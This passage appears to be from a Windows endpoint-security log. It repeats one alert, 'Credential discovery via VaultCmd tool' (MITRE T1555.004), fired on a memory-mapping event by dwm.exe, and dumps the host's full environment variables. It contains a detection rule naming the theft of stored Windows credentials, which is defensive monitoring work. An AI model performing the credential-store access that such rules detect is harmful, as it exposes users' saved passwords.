Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211766 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9652881 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c80000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211766 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9652881 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c80000, view_size➜ 4096 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211766 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9652881 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c80000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211766 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9652881 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c80000, view_size➜ 4096 + Metadata: subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:11+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211766 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9652881 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c80000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:11+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211766 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9652881 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c80000, view_size➜ 4096 + Metadata: technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:12+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211766 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9652881 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c80000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:12+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211766 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.9652881 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132c80000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft 